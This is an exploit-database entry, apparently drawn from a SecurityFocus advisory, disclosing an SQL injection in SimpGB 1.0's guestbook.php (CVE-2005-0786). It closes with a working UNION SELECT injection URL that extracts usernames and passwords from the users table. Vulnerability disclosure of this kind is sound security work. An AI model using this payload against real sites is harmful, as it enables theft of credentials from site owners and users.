SimpGB 1.0 - 'Guestbook.php' SQL Injection

Author: visus
type: webapps
platform: php
port: 
date_added: 2005-03-14 
date_updated: 2013-05-05 
verified: 1 
codes: CVE-2005-0786;OSVDB-14773 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/12801/info

SimpGB is reportedly affected by an SQL injection vulnerability. This issue is due to the application failing to properly sanitize user-supplied input passed to the 'guestbook.php' script before using it in a SQL query.

This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

http://www.example.com/simpgb/guestbook.php?lang=de&mode=new&quote=-1%20UNION%20SELECT%200,0,username,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20simpgb_users%20WHERE%201